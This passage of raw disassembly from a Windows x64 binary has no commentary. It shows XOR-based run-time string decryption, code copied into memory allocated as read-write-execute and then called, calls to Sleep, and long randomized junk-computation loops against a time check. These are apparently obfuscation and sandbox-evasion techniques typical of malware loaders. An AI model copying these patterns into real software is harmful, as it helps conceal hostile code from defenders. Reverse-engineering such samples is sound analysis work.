cmp r9d, 0x68
jl 0x140010990
cmp r9d, 0x6b
jge 0x140010bb4
movsxd rax, r9d
lea r10, [rbp + 0x1a0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x140010b60
lea r8, [rbp + 0x5c8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x390]
call fcn.14001f7d0
nop
lea r8, [rbp + 0x2d0]
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.14001ed10
nop
mov rcx, rax
call fcn.14001dd50
mov qword [rbp + 0xb8], rax
lea rcx, [rbp + 0x520]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x520]
call fcn.1400026f0
nop
mov ecx, r12d
lea rbx, [0x14001f480]
mov rax, qword [0x14003a8f0]
test rax, rax
je 0x140010c59
nop dword [rax + rax]
cmp rax, rbx
je 0x140010c46
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a8f0]
test rax, rax
jne 0x140010c30
jmp 0x140010c59
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x392d0]
test r8, r8
jne 0x140010d3f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010c80
mov r8, r12
jmp 0x140010d1e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010c90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037340]
mov qword [rdi + rax*8 + 0x3a8f0], rbx
mov qword [rdi + rax*8 + 0x392d0], r8
inc rax
mov qword [0x140037340], rax
lea rdx, [rbp + 0xb8]
lea rcx, [0x14000c370]
call r8
nop
mov rcx, qword [rbp + 0x520]
xor rcx, qword [rbp + 0x528]
mov qword [rbp + 0x520], rcx
mov rax, qword [rbp + 0x530]
mov qword [rax], rcx
lea rcx, [rbp + 0x3b0]
call fcn.14001de90
nop
lea rcx, [rbp + 0x390]
call fcn.14001de90
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a00]
call fcn.14001cf90
mov dword [rbp + 0x3d0], 0xffffff9c
mov dword [rbp + 0x3d4], 0x64
movaps xmm0, xmmword [0x14002e780]
movups xmmword [rbp + 0x478], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movsd qword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xc0]
call fcn.140001770
mov rax, qword [rbp + 0xc0]
add rax, 0x5f5e100
mov qword [rbp - 8], rax
lea rcx, [rbp + 0x408]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], r12
lea rcx, [rbp + 0xc8]
call fcn.14001eed0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x38], rcx
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x38]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xc8]
call fcn.14001ce80
lea rcx, [rbp + 0xd0]
call fcn.14001ef20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x30], rcx
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x30]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xd0]
call fcn.14001ce80
lea rcx, [rbp + 0xd8]
call fcn.14001ef50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x28], rcx
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x28]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xd8]
call fcn.14001ce80
lea rcx, [rbp + 0xe0]
call fcn.14001ef80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x20], rcx
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x20]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xe0]
call fcn.14001ce80
lea rcx, [rbp + 0xe8]
call fcn.14001efb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x18], rcx
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x18]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xe8]
call fcn.14001ce80
lea rcx, [rbp + 0xf0]
call fcn.14001efe0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x408]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x10]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xf0]
call fcn.14001ce80
lea rcx, [rbp + 0xf8]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 8]
call fcn.140002690
test al, al
jns 0x1400112e5
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x1a00]
mov qword [rsp + 0x68], rax
movaps xmm6, xmmword [rsp + 0x60]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov rbx, qword [rbp + 0x410]
sub rbx, qword [rbp + 0x408]
sar rbx, 3
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x408]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x478]
call fcn.14001f010
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x478]
call fcn.14001f010
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x40]
addsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x478]
call fcn.14001f010
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x478]
call fcn.14001f010
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x608]
call fcn.14001df00
nop
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x608]
call fcn.1400024b0
lea rcx, [rbp + 0x4d8]
call fcn.1400026e0
lea rcx, [rbp + 0x4d8]
call fcn.14001d060
nop
movdqa xmmword [rbp + 0x2b0], xmm6
lea r8, [rbp + 0x2b0]
mov rdx, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call fcn.14001f090
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x4d8]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call fcn.14001f0f0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov ebx, eax
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400111b8
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
test eax, eax
jne 0x1400111db
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400111ea
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x478]
call fcn.14001f010
movsd xmm5, qword [rsp + 0x40]
addsd xmm0, xmm5
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x1a00]
test bl, 1
jne 0x140011265
lea rcx, [rbp + 0x3d0]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011286
movsd xmm5, qword [rsp + 0x40]
lea rcx, [rbp + 0x478]
call fcn.14001f010
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x40], xmm5
inc ebx
cmp ebx, 5
jl 0x140011200
sub rdi, 1
jne 0x1400111f0
lea rcx, [rbp + 0x4d8]
call fcn.14001d000
nop
lea rcx, [rbp + 0x608]
call fcn.14001de90
sub rsi, 1
jne 0x140010fd0
lea rcx, [rbp + 0xf8]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 8]
call fcn.140002690
test al, al
js 0x140010fc0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x408]
call fcn.14001ced0
mov dword [rsp + 0x74], 0x96
lea rcx, [rbp + 0x538]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x538]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140038310]
test rax, rax
je 0x140011359
nop dword [rax]
cmp rax, r13
je 0x140011346
inc ecx
mov rax, qword [rdi + rcx*8 + 0x38310]
test rax, rax
jne 0x140011330
jmp 0x140011359
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39930]
test r8, r8
jne 0x14001143f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011380
mov r8, r12
jmp 0x14001141e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011390
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140038950]
mov qword [rdi + rax*8 + 0x38310], r13
mov qword [rdi + rax*8 + 0x39930], r8
inc rax
mov qword [0x140038950], rax
lea rdx, [rsp + 0x74]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x538]
xor rcx, qword [rbp + 0x540]
mov qword [rbp + 0x538], rcx
mov rax, qword [rbp + 0x548]
mov qword [rax], rcx
movups xmm0, xmmword [str.lUBWS_t]
movups xmmword [rbp + 0x180], xmm0
movsd xmm0, qword [0x14002dae0]
movsd qword [rbp + 0x190], xmm0
mov eax, dword [0x14002dae8]
mov dword [rbp + 0x198], eax
movzx eax, word [0x14002daec]
mov word [rbp + 0x19c], ax
cmp byte [0x14002daed], 0
je 0x140011754
mov r9d, r12d
cmp r15d, 2
jl 0x1400116ef
movdqa xmm9, xmmword [0x14002e710]
movdqa xmm6, xmmword [0x14002e790]
mov eax, 5
movd xmm10, eax
movdqa xmm7, xmmword [0x14002e7b0]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x14002e730]
movdqa xmm13, xmmword [0x14002e740]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x14002e770]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x180]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140011530
cmp r9d, 0x1e
jge 0x140011754
movsxd rax, r9d
lea r10, [rbp + 0x180]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x140011700
lea rax, [rbp + 0x180]
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0x550]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x550]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140038630]
lea rbx, [0x14001f480]
test rax, rax
je 0x1400117c1
cmp rax, rbx
je 0x1400117ae
inc ecx
mov rax, qword [rdi + rcx*8 + 0x38630]
test rax, rax
jne 0x140011798
jmp 0x1400117c1
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x37ff0]
test r8, r8
jne 0x1400118a0
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400117e8
mov r8, r12
jmp 0x14001187f
mov rax, rbx
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400117f1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037678]
mov qword [rdi + rax*8 + 0x38630], rbx
mov qword [rdi + rax*8 + 0x37ff0], r8
inc rax
mov qword [0x140037678], rax
lea rdx, [rbp + 0x100]
lea rcx, [0x14000c370]
call r8
nop
mov rcx, qword [rbp + 0x550]
xor rcx, qword [rbp + 0x558]
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x560]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2d90]
call fcn.14001cf90
mov dword [rbp + 0x3d8], 0xffffff9c
mov dword [rbp + 0x3dc], 0x64
movaps xmm0, xmmword [0x14002e780]
movups xmmword [rbp + 0x498], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm7, xmm7
movsd qword [rsp + 0x40], xmm7
lea rcx, [rbp + 0x108]
call fcn.140001770
mov rax, qword [rbp + 0x108]
add rax, 0x5f5e100
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x420]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], r12
lea rcx, [rbp + 0x110]
call fcn.14001eed0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp], rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x110]
call fcn.14001ce80
lea rcx, [rbp + 0x118]
call fcn.14001ef20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 8], rcx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp + 8]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x118]
call fcn.14001ce80
lea rcx, [rbp + 0x120]
call fcn.14001ef50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x10]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x120]
call fcn.14001ce80
lea rcx, [rbp + 0x128]
call fcn.14001ef80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x18]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x128]
call fcn.14001ce80
lea rcx, [rbp + 0x130]
call fcn.14001efb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x20]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x130]
call fcn.14001ce80
lea rcx, [rbp + 0x138]
call fcn.14001efe0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x420]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x28]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x138]
call fcn.14001ce80
lea rcx, [rbp + 0x140]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp + 0x30]
call fcn.140002690
test al, al
jns 0x140011e3c
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x2d90]
mov qword [rsp + 0x68], rax
movaps xmm6, xmmword [rsp + 0x60]
mov r13d, 5
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov rbx, qword [rbp + 0x428]
sub rbx, qword [rbp + 0x420]
sar rbx, 3
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x420]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x498]
call fcn.14001f010
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x498]
call fcn.14001f010
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x40]
addsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x498]
call fcn.14001f010
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x498]
call fcn.14001f010
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x628]
call fcn.14001df00
nop
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x628]
call fcn.1400024b0
lea rcx, [rbp + 0x4c0]
call fcn.1400026e0
lea rcx, [rbp + 0x4c0]
call fcn.14001d060
nop
movdqa xmmword [rbp + 0x290], xmm6
lea r8, [rbp + 0x290]
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x4c0]
call fcn.14001f090
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x4c0]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x4c0]
call fcn.14001f0f0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov ebx, eax
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140011d08
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
test eax, eax
jne 0x140011d2b
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011d3a
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov rdi, r13
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d90]
lea rcx, [rbp + 0x498]
call fcn.14001f010
movsd xmm5, qword [rsp + 0x40]
addsd xmm0, xmm5
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x2d90]
test bl, 1
jne 0x140011db5
lea rcx, [rbp + 0x3d8]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011dd6
movsd xmm5, qword [rsp + 0x40]
lea rcx, [rbp + 0x498]
call fcn.14001f010
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x40], xmm5
inc ebx
cmp ebx, 5
jl 0x140011d50
sub rdi, 1
jne 0x140011d40
lea rcx, [rbp + 0x4c0]
call fcn.14001d000
nop
lea rcx, [rbp + 0x628]
call fcn.14001de90
sub rsi, 1
jne 0x140011b20
lea rcx, [rbp + 0x140]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp + 0x30]
call fcn.140002690
test al, al
js 0x140011b10
lea r13, [0x14001f7a0]
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x420]
call fcn.14001ced0
mov dword [rsp + 0x58], 0x320
lea rcx, [rbp + 0x568]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x568]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140038310]
test rax, rax
je 0x140011eac
cmp rax, r13
je 0x140011e99
inc ecx
